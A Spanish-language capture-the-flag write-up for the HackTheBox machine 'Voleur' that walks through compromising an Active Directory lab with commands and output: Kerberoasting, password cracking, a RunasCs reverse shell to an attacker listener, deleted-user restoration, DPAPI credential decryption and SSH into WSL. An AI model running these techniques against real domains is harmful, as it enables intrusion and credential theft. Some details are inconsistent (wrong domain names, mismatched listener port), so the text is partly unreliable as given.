
Habilidades: Kerberos Client Setup, LDAP Enumeration, SMB Enumeration, Office File Password Cracking, Abusing AD ACL Rights - WriteSPN + Targeted Kerberoasting, Abusing AD ACL - GenericWrite Rights, Restoring Deleted Users, SMB Enumeration via impacket-smbclient, Abusing DPAPI Secrets, Credential Dumping - NTDS, PassTheHash
Introducción
Voleur es una máquina Windows de dificultad Medium en HackTheBox donde debemos comprometer un entorno Windows que implementa Active Directory.
Comenzaremos con descubrir credenciales en un archivo .xlsx para cuentas del dominio, las cuales nos permitirán movernos lateralmente a través de diversas técnicas de abuso de derechos ACL para ganar acceso al DC.
Posteriormente enumeraremos recursos SMB para luego obtener acceso por SSH a un sub-sistema Linux (WSL), el cual contiene una copia de archivos administrativos y altamente sensibles. Realizaremos un volcado de credenciales para obtener control total sobre el dominio.
El creador de esta máquina nos proporciona el siguiente mensaje en la descripción
Machine Information
As is common in real life Windows pentests, you will start the Voleur box with credentials for the following account:
ryan.naylor/HollowOct31Nyt
Reconocimiento
Enviaremos una traza ICMP para comprobar que la máquina víctima se encuentre activa
ping -c 1 10.10.11.76
PING 10.10.11.76 (10.10.11.76): 56 data bytes
64 bytes from 10.10.11.76: icmp_seq=0 ttl=127 time=638.026 ms
--- 10.10.11.76 ping statistics ---
1 packets transmitted, 1 packets received, 0.0% packet loss
round-trip min/avg/max/stddev = 638.026/638.026/638.026/0.000 ms
Nmap Scanning
Iniciaremos el reconocimiento lanzando un escaneo de puertos con nmap, el cual se encargará de identificar puertos abiertos en la máquina víctima
nmap -p- --open -sS --min-rate 5000 -n -Pn 10.10.11.76 -oG openPorts
Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-04 23:43 -03
Nmap scan report for 10.10.11.76
Host is up (0.14s latency).
Not shown: 65514 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE
53/tcp open domain
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
2222/tcp open EtherNetIP-1
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
5985/tcp open wsman
9389/tcp open adws
49664/tcp open unknown
49668/tcp open unknown
52981/tcp open unknown
63551/tcp open unknown
63552/tcp open unknown
63554/tcp open unknown
63578/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 31.76 seconds
--open: Mostrar únicamente los puertos abiertos-p-: Hacer un escaneo del total de puertos (65535)--min-rate 5000: Enviar mínimo 5000 paquetes por segundo-n: No aplicar resolución DNS, lo que acelera el escaneo-sS: Modo de escaneo TCP SYN, no concluye la conexión, lo que hace el escaneo más ágil-Pn: Omitir el descubrimiento de host (ARP)-oG: Exportar en formatogrepable-v: Ver el progreso del escaneo
Lanzaremos un segundo escaneo mas exhaustivo frente a los puertos identificados, ahora el objetivo será intentar identificar la versión y los servicios que se ejecutan en estos puertos
nmap -p 53,88,135,139,389,445,464,593,636,2222,3268,3269,5985,9389,49664,49668,52981,63551,63552,63554,63578 -sVC 10.10.11.76 -oN services
Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-04 23:45 -03
Nmap scan report for 10.10.11.76
Host is up (0.15s latency).
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-11-05 10:45:13Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: voleur.htb0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
2222/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 42:40:39:30:d6:fc:44:95:37:e1:9b:88:0b:a2:d7:71 (RSA)
| 256 ae:d9:c2:b8:7d:65:6f:58:c8:f4:ae:4f:e4:e8:cd:94 (ECDSA)
|_ 256 53:ad:6b:6c:ca:ae:1b:40:44:71:52:95:29:b1:bb:c1 (ED25519)
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: voleur.htb0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf .NET Message Framing
49664/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
52981/tcp open msrpc Microsoft Windows RPC
63551/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
63552/tcp open msrpc Microsoft Windows RPC
63554/tcp open msrpc Microsoft Windows RPC
63578/tcp open msrpc Microsoft Windows RPC
Service Info: Host: DC; OSs: Windows, Linux; CPE: cpe:/o:microsoft:windows, cpe:/o:linux:linux_kernel
Host script results:
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
| smb2-time:
| date: 2025-11-05T10:46:04
|_ start_date: N/A
|_clock-skew: 7h59m40s
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 104.52 seconds
-p: Especificar puertos-sV: Identificar la versión del servicio-sC: Uso de scripts de reconocimiento-oN: Exportar la salida en formato normal
La captura muestra una gran cantidad de servicios propios de Active Directory, como DNS, kerberos, LDAP, RPC, entre otros servicios. Esta información nos revela que estamos frente a un controlador de dominio de Active Directory.
Vemos tanto el nombre del dominio como el del DC, agregaremos esta info a nuestro archivo /etc/hosts para resolver correctamente el dominio
echo '10.10.11.76 voleur.htb dc.voleur.htb' | sudo tee -a /etc/hosts
10.10.11.76 voleur.htb dc.voleur.htb
Initial Enumeration
Realizaremos una enumeración aprovechando las credenciales proporcionadas. Si intentamos autenticarnos para verificar información del controlador de dominio, notaremos el siguiente mensaje de error
nxc smb 10.10.11.76 -u 'ryan.naylor' -p 'HollowOct31Nyt'
SMB 10.10.11.76 445 DC [*] x64 (name:DC) (domain:voleur.htb) (signing:True) (SMBv1:None) (NTLM:False)
SMB 10.10.11.76 445 DC [-] voleur.htb\ryan.naylor:HollowOct31Nyt STATUS_NOT_SUPPORTED
Kerberos Client Setup
En este escenario, no es posible el fallback hacia el protocolo NTLM debido a que se encuentra deshabilitado. Por lo que optaremos por utilizar autenticación kerberos.
Durante la autenticación
kerberos, debemos sincronizar nuestro reloj local con el del Controlador de Dominio, debido a que este protocolo involucra altimestampo marca de tempo.
Podemos hacer uso de la herramienta ntpdate para sincronizar nuestro reloj
ntpdate dc.rustykey.htb
Cuando volvamos a intentar autenticarnos, indicaremos el parámetro -k para usar este protocolo. El DC aceptará la autenticación del usuario en cuestión
nxc smb dc.voleur.htb -u 'ryan.naylor' -p 'HollowOct31Nyt' -k
SMB dc.voleur.htb 445 dc [*] x64 (name:dc) (domain:voleur.htb) (signing:True) (SMBv1:None) (NTLM:False)
SMB dc.voleur.htb 445 dc [+] voleur.htb\ryan.naylor:HollowOct31Nyt
En
kerberos, el FQDN oFull Qualified Domain Namees crítico para validar la identidad y localizar al KDC. Este es el nombre completo y único para cada servidor, este se compone en:servidor.dominio.com
Para hacer uso de kerberos en algunas herramientas, debemos utilizar credenciales en caché, las cuales podemos solicitar con la herramienta getTGT
getTGT.py voleur.htb/ryan.naylor:HollowOct31Nyt -dc-ip 10.10.11.76
export KRB5CCNAME=ryan.naylor.ccache
Por último, podemos generar un archivo de configuración de autenticación kerberos para que funcione correctamente la resolución al KDC. El siguiente contenido forma parte del archivo /etc/krb5.conf correspondiente al dominio al que nos enfrentamos
[libdefaults]
default_realm = VOLEUR.HTB
dns_lookup_realm = false
dns_lookup_kdc = false
[realms]
VOLEUR.HTB = {
kdc = dc.voleur.htb
admin_server = dc.voleur.htb
}
[domain_realm]
voleur.htb = VOLEUR.HTB
.voleur.htb = VOLEUR.HTB
Podemos automatizar la creación de este archivo con la herramienta netexec (versión > 1.13.0)
nxc smb dc.voleur.htb -u 'ryan.naylor' -p 'HollowOct31Nyt' -k --generate-krb5-file krb5.conf
SMB dc.voleur.htb 445 dc [*] x64 (name:dc) (domain:voleur.htb) (signing:True) (SMBv1:None) (NTLM:False)
SMB dc.voleur.htb 445 dc [+] krb5 conf saved to: krb5.conf
SMB dc.voleur.htb 445 dc [+] Run the following command to use the conf file: export KRB5_CONFIG=krb5.conf
SMB dc.voleur.htb 445 dc [+] voleur.htb\ryan.naylor:HollowOct31Nyt
LDAP Enumeration (Users)
Realizaremos una enumeración a través del protocolo LDAP para identificar usuarios del dominio y generar un listado de usuarios
ldapsearch -LLL -H ldap://10.10.11.76 -D 'ryan.naylor@voleur.htb' -w 'HollowOct31Nyt' -b 'DC=voleur,DC=htb' "(objectClass=user)" sAMAccountName | grep '^sAMAccountName' | cut -d ' ' -f2-2 | tee users.txt
Administrator
Guest
DC$
krbtgt
ryan.naylor
marie.bryant
lacey.miller
svc_ldap
svc_backup
svc_iis
jeremy.combs
svc_winrm
BloodHound
Aprovecharemos las credenciales proporcionadas para recolectar información del dominio, cargarla y posteriormente analizarla mediante la herramienta Bloodhound
bloodhound-ce-python -d voleur.htb -u ryan.naylor -p 'HollowOct31Nyt' -k -ns 10.10.11.76 -c All
INFO: BloodHound.py for BloodHound Community Edition
INFO: Found AD domain: voleur.htb
INFO: Getting TGT for user
INFO: Connecting to LDAP server: dc.voleur.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: dc.voleur.htb
INFO: Found 12 users
...
<SNIP>
...
SMB Enumeration
Con la configuración necesaria, podremos utilizar herramientas habituales para enumerar el dominio. En este caso enumeraremos los recursos de red empleando el protocolo SMB
smbclient -L //dc.voleur.htb/ -U 'mirage.htb/ryan.naylor%HollowOct31Nyt' --use-kerberos=required --realm voleur.htb
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
Finance Disk
HR Disk
IPC$ IPC Remote IPC
IT Disk
NETLOGON Disk Logon server share
SYSVOL Disk Logon server share
SMB1 disabled -- no workgroup available
Veremos recursos de red que no son habituales, Finance, HR e IT, podemos intentar enumerar cada uno de estos. Sin embargo, solamente tendremos permisos para leer el recurso IT
smbclient //dc.voleur.htb/IT -U 'mirage.htb/ryan.naylor%HollowOct31Nyt' --use-kerberos=required --realm voleur.htb
Try "help" to get a list of possible commands.
smb: \> dir
. D 0 Wed Jan 29 06:10:01 2025
.. DHS 0 Thu Jul 24 16:09:59 2025
First-Line Support D 0 Wed Jan 29 06:40:17 2025
5311743 blocks of size 4096. 976159 blocks available
smb: \> cd "First-Line Support"
smb: \First-Line Support\> dir
. D 0 Wed Jan 29 04:40:17 2025
.. D 0 Wed Jan 29 04:10:01 2025
Access_Review.xlsx A 16896 Thu Jan 30 09:14:25 2025
down
5311743 blocks of size 4096. 903454 blocks available
smb: \First-Line Support\> get Access_Review.xlsx
Cuando intentamos abrir el recurso Access_Review.xlsx, nos pide una contraseña

Intrusión / Explotación
Office File Password Cracking
La herramienta office2john es capaz de generar un hash en formato que sea entendido por John The Ripper para intentar descifrarlo por fuerza bruta. Esto lo logra mediante la extracción de datos cifrados de la contraseña.
Guardaremos el hash resultante en un archivo, por ejemplo office_hash.txt
office2john Access_Review.xlsx > office_hash.txt
Lanzaremos la herramienta john empleando el diccionario rockyou.txt para intentar descifrar la contraseña
john --wordlist=/usr/share/wordlists/rockyou.txt office_hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (Office, 2007/2010/2013 [SHA1 256/256 AVX2 8x / SHA512 256/256 AVX2 4x AES])
Cost 1 (MS Office version) is 2013 for all loaded hashes
Cost 2 (iteration count) is 100000 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
football1 (Access_Review.xlsx)
1g 0:00:00:08 DONE (2025-07-12 21:20) 0.1243g/s 99.50p/s 99.50c/s 99.50C/s football1..martha
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Hemos encontrado la contraseña en texto claro equivalente al hash, la cual es football1

Dispondremos de las siguientes credenciales
Todd.Wolfe:NightT1meP1dg3on14
svc_ldap:M1XyC9pW7qT5Vn
svc_iis:N5pXyW1VqM7CZ8
Intentaremos hacer Password Spraying para intentar validar estas credenciales frente a los demás usuarios.
Solamente serán válidas para los usuarios especificados, mientras que Todd.Wolfe no se encuentra dentro de nuestro listado
nxc smb dc.voleur.htb -u users.txt -p passes.txt -k --continue-on-success
SMB dc.voleur.htb 445 dc [*] x64 (name:dc) (domain:voleur.htb) (signing:True) (SMBv1:None) (NTLM:False)
SMB dc.voleur.htb 445 dc [+] voleur.htb\svc_ldap:M1XyC9pW7qT5Vn
SMB dc.voleur.htb 445 dc [+] voleur.htb\svc_iis:N5pXyW1VqM7CZ8
Abusing AD ACL Rights - WriteSPN
La cuenta svc_ldap posee derechos WriteSPN sobre las cuentas svc_winrm, además del derecho GenericWrite sobre la cuenta lacey.miller.
Un
Service Principal Name(SPN) es un identificador único que vincula una instancia de un servicio a una cuenta de inicio de sesión en un entorno de red como Active Directory.
El derecho WriteSPN permite escribir sobre el atributo Service Principal Name de la cuenta svc_winrm, lo que puede aprovecharse para obtener un hash TGS mediante la técnica Targeted Kerberoast

Targeted Kerberoasting
Utilizaremos la herramienta targetedKerberoast.py para forzar una escritura de SPN y así volver vulnerable a la cuenta svc_winrm al ataque Kerberoasting
KRB5CCNAME=svc_ldap.ccache /opt/targetedKerberoast/targetedKerberoast.py -d voleur.htb --dc-host dc.voleur.htb -u svc_ldap@voleur.htb -k
[*] Starting kerberoast attacks
[*] Fetching usernames from Active Directory with LDAP
[+] Printing hash for (lacey.miller)
$krb5tgs$23$*lacey.miller$VOLEUR.HTB$voleur.htb/lacey.miller*$253...
[+] Printing hash for (svc_winrm)
$krb5tgs$23$*svc_winrm$VOLEUR.HTB$voleur.htb/svc_winrm*$ba9...
Guardaremos estos hashes TGS en un archivo para intentar descifrarlos para así obtener credenciales en texto claro. Procederemos a usar la herramienta john empleando el diccionario rockyou.txt
john --wordlist=/usr/local/share/wordlists/rockyou.txt hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])
Press 'q' or Ctrl-C to abort, almost any other key for status
AFireInsidedeOzarctica980219afi (?)
1g 0:00:00:22 DONE (2025-11-10 01:09) 0.04368g/s 501165p/s 501165c/s 501165C/s AG1514AG..AFVSAMA
Use the "--show" option to display all of the cracked passwords reliably
Session completed
Obtuvimos la contraseña en texto claro para la cuenta svc_winrm
nxc smb dc.voleur.htb -u svc_winrm -p 'AFireInsidedeOzarctica980219afi' -k
SMB dc.voleur.htb 445 dc [*] x64 (name:dc) (domain:voleur.htb) (signing:True) (SMBv1:None) (NTLM:False)
SMB dc.voleur.htb 445 dc [+] voleur.htb\svc_winrm:AFireInsidedeOzarctica980219afi
Shell as svc_winrm
Podremos conectarnos al DC con esta cuenta, solamente debemos asegurarnos de utilizar autenticación kerberos
getTGT.py voleur.htb/svc_winrm:'AFireInsidedeOzarctica980219afi' -dc-ip dc.voleur.htb
Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies
[*] Saving ticket in svc_winrm.ccache
Podemos exportar el ticket en la variable de entorno KRB5CCNAME así como también utilizarlo dentro del comando para conectarnos con winrm
KRB5CCNAME=svc_winrm.ccache evil-winrm-py -i dc.voleur.htb -k --no-pass
_ _ _
_____ _(_| |_____ __ _(_)_ _ _ _ _ __ ___ _ __ _ _
/ -_\ V | | |___\ V V | | ' \| '_| ' |___| '_ | || |
\___|\_/|_|_| \_/\_/|_|_||_|_| |_|_|_| | .__/\_, |
|_| |__/ v1.5.0
[*] Connecting to 'dc.voleur.htb:5985' as 'svc_winrm@VOLEUR.HTB'
evil-winrm-py PS C:\Users\svc_winrm\Documents> whoami
voleur\svc_winrm
Ya podremos ver la flag del usuario sin privilegios ubicada en el escritorio
evil-winrm-py PS C:\Users\svc_winrm\Documents> type ..\Desktop\user.txt
f9d...
Escalada de Privilegios
Abusing AD ACL - GenericWrite Rights
Recordemos que el usuario svc_ldap forma parte de un grupo personalizado dentro del dominio, el cual es Restore Users

Además vemos que este grupo tiene derechos GenericWrite sobre la OU Second-Line Support Technicians
Shell as svc_ldap
Como la cuenta svc_ldap no puede conectarse al dominio vía WinRM, utilizaremos la herramienta RunasCs.exe para ejecutar comandos como esta cuenta en el DC. Subiremos el binario compilado de la siguiente manera (para evil-winrm-py)
evil-winrm-py PS C:\Programdata> upload RunasCs.exe .
Como esta herramienta nos permite ejecutar comandos, posee la funcionalidad de obtener una shell. Iniciaremos un listener que se encargue de recibirla
rlwrap nc -lvnp 443
Ejecutaremos una reverse shell hacia nuestro listener de la siguiente manera
PS C:\Temp> .\RunasCs.exe svc_ldap M1XyC9pW7qT5Vn powershell.exe -r 10.10.14.187:4444
Obtendremos una consola de powershell como el usuario svc_ldap
Connection from 10.10.11.76:58317
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
Install the latest PowerShell for new features and improvements! https://aka.ms/PSWindows
PS C:\Windows\system32> whoami
whoami
voleur\svc_ldap
Restoring Deleted Objects
Con el siguiente comando podremos enumerar usuarios eliminados, veremos a todd.wolfe
PS C:\IT\Third-Line Support> Get-ADObject -Filter 'isDeleted -eq $true' -IncludeDeletedObjects
Deleted : True
DistinguishedName : CN=Deleted Objects,DC=voleur,DC=htb
Name : Deleted Objects
ObjectClass : container
ObjectGUID : 587cd8b4-6f6a-46d9-8bd4-8fb31d2e18d8
Deleted : True
DistinguishedName : CN=Todd Wolfe\0ADEL:1c6b1deb-c372-4cbb-87b1-15031de169db,CN=Deleted Objects,DC=voleur,DC=htb
Name : Todd Wolfe
DEL:1c6b1deb-c372-4cbb-87b1-15031de169db
ObjectClass : user
ObjectGUID : 1c6b1deb-c372-4cbb-87b1-15031de169db
Intentaremos restablecer la cuenta del usuario todd.wolfe usando la siguiente sintaxis
PS C:\Windows\system32> Restore-ADObject -Identity "1c6b1deb-c372-4cbb-87b1-15031de169db"
Si echamos un vistazo a la cuenta todd.wolfe, veremos que es miembro de la OU (Unidad Organizativa) que vimos antes (la que puede ser controlada por la cuenta svc_ldap)
PS C:\Windows\system32> net user todd.wolfe
net user todd.wolfe
User name todd.wolfe
Full Name Todd Wolfe
Comment Second-Line Support Technician
User's comment
Country/region code 000 (System Default)
Account active Yes
Account expires Never
Password last set 1/29/2025 4:41:13 AM
Password expires Never
Password changeable 1/30/2025 4:41:13 AM
Password required Yes
User may change password No
Workstations allowed All
Logon script
User profile
Home directory
Last logon 1/29/2025 5:16:00 AM
Logon hours allowed All
Local Group Memberships
Global Group memberships *Second-Line Technicia*Domain Users
The command completed successfully.
Ahora que esta cuenta se encuentra activa, intentaremos validar sus credenciales
nxc smb dc.voleur.htb -u todd.wolfe -p 'NightT1meP1dg3on14' -k
SMB dc.voleur.htb 445 dc [*] x64 (name:dc) (domain:voleur.htb) (signing:True) (SMBv1:None) (NTLM:False)
SMB dc.voleur.htb 445 dc [+] voleur.htb\todd.wolfe:NightT1meP1dg3on14
Podemos intentar listar los recursos de red con nxc para ver si este usuario tiene acceso a algún recurso diferente
nxc smb dc.voleur.htb -u todd.wolfe -p 'NightT1meP1dg3on14' -k --shares
SMB dc.voleur.htb 445 dc [*] x64 (name:dc) (domain:voleur.htb) (signing:True) (SMBv1:None) (NTLM:False)
SMB dc.voleur.htb 445 dc [+] voleur.htb\todd.wolfe:NightT1meP1dg3on14
SMB dc.voleur.htb 445 dc [*] Enumerated shares
SMB dc.voleur.htb 445 dc Share Permissions Remark
SMB dc.voleur.htb 445 dc ----- ----------- ------
SMB dc.voleur.htb 445 dc ADMIN$ Remote Admin
SMB dc.voleur.htb 445 dc C$ Default share
SMB dc.voleur.htb 445 dc Finance
SMB dc.voleur.htb 445 dc HR
SMB dc.voleur.htb 445 dc IPC$ READ Remote IPC
SMB dc.voleur.htb 445 dc IT READ
SMB dc.voleur.htb 445 dc NETLOGON READ Logon server share
SMB dc.voleur.htb 445 dc SYSVOL READ Logon server share
SMB Enumeration - impacket-smbclient
Al igual que al inicio con ryan, tenemos acceso al recurso IT. Sin embargo, ahora podemos listar la carpeta Second-Line Support
smbclient //dc.voleur.htb/IT -U 'mirage.htb/todd.wolfe%NightT1meP1dg3on14' --use-kerberos=required --realm voleur.htb
Try "help" to get a list of possible commands.
smb: \> dir
. D 0 Wed Jan 29 06:10:01 2025
.. DHS 0 Thu Jul 24 16:09:59 2025
Second-Line Support D 0 Wed Jan 29 12:13:03 2025
5311743 blocks of size 4096. 929579 blocks available
Podemos usar la herramienta smbclient de impacket para enumerar más eficientemente
Si obtienes el error
KDC_ERR_TGT_REVOKED, se debe a que elClean Upha eliminado el usuario, por lo que debes volver a habilitarlo con la cuentaldap_svc, para luego solicitar un TGT nuevamente contodd.wolfe
KRB5CCNAME=todd.wolfe.ccache smbclient.py dc.voleur.htb -k -no-pass
Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies
# shares
ADMIN$
C$
Finance
HR
IPC$
IT
NETLOGON
SYSVOL
Comenzaremos cargando el recurso IT con el comando use
# use IT
Abusing Data Protection API Secrets
DPAPI (Data Protection API) es una API de cifrado integrada en Windows que permite proteger datos sensibles (como contraseñas, claves y credenciales) de forma automática, utilizando las credenciales del usuario o del sistema.
DPAPI protege los datos utilizando una master key, normalmente cifrada con las credenciales del usuario en formato hash.
El abuso o lectura de secretos DPAPI es una técnica de post-explotación que logra obtener información sensible protegida por DPAPI.
Para descifrar datos protegidos por esta funcionalidad de Windows necesitamos extraer los siguientes archivos:
Master Key: Clave maestra, la necesitaremos para desencriptar credencialesCredential File: Archivo de credenciales protegidas por DPAPI
Los datos se almacenan en el directorio de usuarios y están protegidos por esta clave maestra. Normalmente se encuentran el la siguiente carpeta
C:\Users\$USER\AppData\Roaming\Microsoft\Protect\$SUID\$GUID
Los datos protegidos suelen encontrarse dentro de los siguientes directorios del usuario
C:\Users\$USER\AppData\Local\Microsoft\Credentials\
C:\Users\$USER\AppData\Roaming\Microsoft\Credentials\
Finding Credential and Master Key Files via smbclient
Ahora buscaremos archivos recursivamente con el comando tree, veremos los siguientes archivos correspondientes a DPAPI que necesitaremos para abusar de esta técnica, en lo que parece ser una copia de la estructura de carpetas de todd.wolfe
# tree .
/Second-Line Support/Archived Users/todd.wolfe/AppData/Roaming/Microsoft/Credentials/772275FAD58525253490A9B0039791D3
...
<SNIP>
...
/Second-Line Support/Archived Users/todd.wolfe/AppData/Roaming/Microsoft/Protect/S-1-5-21-3927696377-1337352550-2781715495-1110/08949382-134f-4c63-b93c-ce52efc0aa88
...
<SNIP>
Puedes cancelar el proceso más rápido presionando
Ctrl+Zpara abandonar el proceso y dejarlo en segundo plano y luego finalizarlo conkill %.
Descargaremos ambos archivos en nuestro directorio de trabajo con el comando get. Si volvemos a conectarnos debemos cargar el recurso nuevamente
# use IT
# get /Second-Line Support/Archived Users/todd.wolfe/AppData/Roaming/Microsoft/Credentials/772275FAD58525253490A9B0039791D3
# get /Second-Line Support/Archived Users/todd.wolfe/AppData/Roaming/Microsoft/Protect/S-1-5-21-3927696377-1337352550-2781715495-1110/08949382-134f-4c63-b93c-ce52efc0aa88
Decrypting DPAPI Master Key
Descifraremos la clave maestra contenida dentro del archivo que descargamos con la ayuda de la herramienta de impacket-dpapi, utilizando la contraseña del usuario tedd.wolfe
dpapi.py masterkey -file 08949382-134f-4c63-b93c-ce52efc0aa88 -sid S-1-5-21-3927696377-1337352550-2781715495-1110 -password NightT1meP1dg3on14
Impacket v0.13.0.dev0+20250109.91705.ac02e0ee - Copyright Fortra, LLC and its affiliated companies
[MASTERKEYFILE]
Version : 2 (2)
Guid : 08949382-134f-4c63-b93c-ce52efc0aa88
Flags : 0 (0)
Policy : 0 (0)
MasterKeyLen: 00000088 (136)
BackupKeyLen: 00000068 (104)
CredHistLen : 00000000 (0)
DomainKeyLen: 00000174 (372)
Decrypted key with User Key (MD4 protected)
Decrypted key: 0xd2832547d1d5e0a01ef271ede2d299248d1cb0320061fd5355fea2907f9cf879d10c9f329c77c4fd0b9bf83a9e240ce2b8a9dfb92a0d15969ccae6f550650a83
-file: Archivo de clave maestra-sid: Identificador del usuario-password: Contraseña del usuario
Decrypting DPAPI Credentials
Utilizaremos la clave maestra para descifrar el archivo de credenciales y verlas en texto claro
dpapi.py credential -file 772275FAD58525253490A9B0039791D3 -key 0xd2832547d1d5e0a01ef271ede2d299248d1cb0320061fd5355fea2907f9cf879d10c9f329c77c4fd0b9bf83a9e240ce2b8a9dfb92a0d15969ccae6f550650a83
Impacket v0.13.0.dev0+20250109.91705.ac02e0ee - Copyright Fortra, LLC and its affiliated companies
[CREDENTIAL]
LastWritten : 2025-01-29 12:55:19+00:00
Flags : 0x00000030 (CRED_FLAGS_REQUIRE_CONFIRMATION|CRED_FLAGS_WILDCARD_MATCH)
Persist : 0x00000003 (CRED_PERSIST_ENTERPRISE)
Type : 0x00000002 (CRED_TYPE_DOMAIN_PASSWORD)
Target : Domain:target=Jezzas_Account
Description :
Unknown :
Username : jeremy.combs
Unknown : qT3V9pLXyN7W4m
Vemos las credenciales del usuario jeremy.combs, intentaremos validarlas con netexec
nxc smb dc.voleur.htb -u jeremy.combs -p 'qT3V9pLXyN7W4m' -k
SMB dc.voleur.htb 445 dc [*] x64 (name:dc) (domain:voleur.htb) (signing:True) (SMBv1:None) (NTLM:False)
SMB dc.voleur.htb 445 dc [+] voleur.htb\jeremy.combs:qT3V9pLXyN7W4m
Shell as svc_backup - WSL
Al igual que con el usuario anterior, intentaremos enumerar recursos de red. Veremos algo interesante, lo que parece ser un archivo de clave privada y una nota
KRB5CCNAME=jeremy.combs.ccache smbclient.py dc.voleur.htb -k -no-pass
Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies
Type help for list of commands
# use IT
# ls
drw-rw-rw- 0 Wed Jan 29 06:10:01 2025 .
drw-rw-rw- 0 Thu Jul 24 16:09:59 2025 ..
drw-rw-rw- 0 Thu Jan 30 13:11:29 2025 Third-Line Support
# tree .
/Third-Line Support/id_rsa
/Third-Line Support/Note.txt.txt
Finished - 3 files and folders
Descargaremos estos dos archivos en nuestro directorio de trabajo
# get /Third-Line Support/id_rsa
# get /Third-Line Support/Note.txt.txt
Si leemos la nota nos deja una pista clara, debemos conectarnos con la clave privada al DC, y como se usa WSL, podemos intentar conectarnos por SSH en el puerto 2222
Jeremy,
I've had enough of Windows Backup! I've part configured WSL to see if we can utilize any of the backup tools from Linux.
Please see what you can set up.
Thanks,
Admin
WSL (
Windows Subsystem for Linux) es una característica de Windows que permite ejecutar un entorno Linux directamente en la computadora con Windows, sin necesidad de una máquina virtual separada o de arrancar el sistema de forma dual.
Intentando conectarnos con algunos usuarios de servicio, tendremos éxito con la cuenta svc_backup
chmod 600 id_rsa
ssh -i id_rsa -p 2222 svc_backup@dc.voleur.htb
Welcome to Ubuntu 20.04 LTS (GNU/Linux 4.4.0-20348-Microsoft x86_64)
Last login: Thu Jan 30 04:26:24 2025 from 127.0.0.1
* Starting OpenBSD Secure Shell server sshd
...done.
svc_backup@DC:~$ id
uid=1000(svc_backup) gid=1000(svc_backup) groups=1000(svc_backup),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),117(netdev)
svc_backup@DC:~$
svc_backup@DC:~$ export TERM=xterm # Limpiar con Ctrl+L
Host’s Files
Dentro del siguiente FAQ, se menciona que podemos acceder al sistema de archivos del equipo Windows desde la ruta /mnt, por ejemplo, el disco C: se monta en /mnt/c.
svc_backup@DC:~$ ls -l /mnt/c
ls: /mnt/c/Config.Msi: Permission denied
ls: cannot access '/mnt/c/DumpStack.log.tmp': Permission denied
ls: cannot access '/mnt/c/pagefile.sys': Permission denied
ls: /mnt/c/PerfLogs: Permission denied
ls: '/mnt/c/System Volume Information': Permission denied
total 0
drwxrwxrwx 1 svc_backup svc_backup 4096 Jan 30 2025 '$Recycle.Bin'
dr-xr-xr-x 1 svc_backup svc_backup 4096 Jun 30 14:08 '$WinREAgent'
d--x--x--x 1 svc_backup svc_backup 4096 Jul 24 13:16 Config.Msi
lrwxrwxrwx 1 svc_backup svc_backup 12 Jan 28 2025 'Documents and Settings' -> /mnt/c/Users
-????????? ? ? ? ? ? DumpStack.log.tmp
dr-xr-xr-x 1 svc_backup svc_backup 4096 Jan 29 2025 Finance
dr-xr-xr-x 1 svc_backup svc_backup 4096 Jan 29 2025 HR
dr-xr-xr-x 1 svc_backup svc_backup 4096 Jan 29 2025 IT
d--x--x--x 1 svc_backup svc_backup 4096 May 8 2021 PerfLogs
dr-xr-xr-x 1 svc_backup svc_backup 4096 Jul 24 13:10 'Program Files'
dr-xr-xr-x 1 svc_backup svc_backup 4096 Jan 30 2025 'Program Files (x86)'
drwxrwxrwx 1 svc_backup svc_backup 4096 Nov 9 21:05 ProgramData
dr-xr-xr-x 1 svc_backup svc_backup 4096 Jan 28 2025 Recovery
d--x--x--x 1 svc_backup svc_backup 4096 Jan 30 2025 'System Volume Information'
dr-xr-xr-x 1 svc_backup svc_backup 4096 Jan 30 2025 Users
dr-xr-xr-x 1 svc_backup svc_backup 4096 Jun 5 12:53 Windows
dr-xr-xr-x 1 svc_backup svc_backup 4096 May 29 15:07 inetpub
-????????? ? ? ? ? ? pagefile.sys
Recordemos que dentro de la carpeta IT/Third-Line Support teníamos una sub-carpeta Backups a la que no teníamos acceso en primera instancia
